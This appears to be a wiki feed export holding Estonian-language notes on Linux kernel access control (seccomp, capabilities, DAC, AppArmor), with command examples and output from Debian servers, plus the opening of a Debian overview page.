* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt (käigult konstrueeritakse efektiivselt sobivad capacitid)&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3431</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3431"/>
		<updated>2026-05-03T22:45:28Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Kasulikud lisamaterjalid */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine&amp;diff=3430</id>
		<title>Operatsioonisüsteemi Debian GNU/Linux kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine&amp;diff=3430"/>
		<updated>2026-05-03T22:45:16Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* seccomp */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Debian GNU/Linux===&lt;br /&gt;
&lt;br /&gt;
Debian GNU/Linux ehk lühidalt Debian on vaba operatsioonisüsteem, mis kasutab Linux või FreeBSD tuuma ning töötab paljudel populaarsetel riistvaralistel platvormidel, sealhulgas 32 bit ja 64 bit x86 arvutid.&lt;br /&gt;
&lt;br /&gt;
Debiani sobib kasutada nii serveritel kui ka töökohaarvutitel sh süleritel. Debianile on iseloomulik&lt;br /&gt;
&lt;br /&gt;
* korrektselt ilmuvad turvaparandused (teated ilmuvad ka bugtraqis)&lt;br /&gt;
* eeskujulik paketihaldus, sh automaatne pakettide autentsuse valideerimine kontrollsummade abil (MD5sum, SHA1, SHA256)&lt;br /&gt;
* rahulik stabiilsete versioonide ilmumise tsükkel, erinevalt närvilisest ja suhteliselt pikk tugi eelmisele stabiisele versioonile&lt;br /&gt;
* väärikas kasutajaskond (ingl. k. community)&lt;br /&gt;
* tarkvara jagatakse kompileeritud ja lähtetekstipakettide kujul&lt;br /&gt;
&lt;br /&gt;
Debiani kodulehe http://www.debian.org/ tiitel ütleb, et tegemist on universaalse operatsioonisüsteemiga, mille tunnistuseks on ehk tõepoolest asjaolu, et Debiani on kasutatud mitmete teiste nn Linuxi distributsioonide aluseks.&lt;br /&gt;
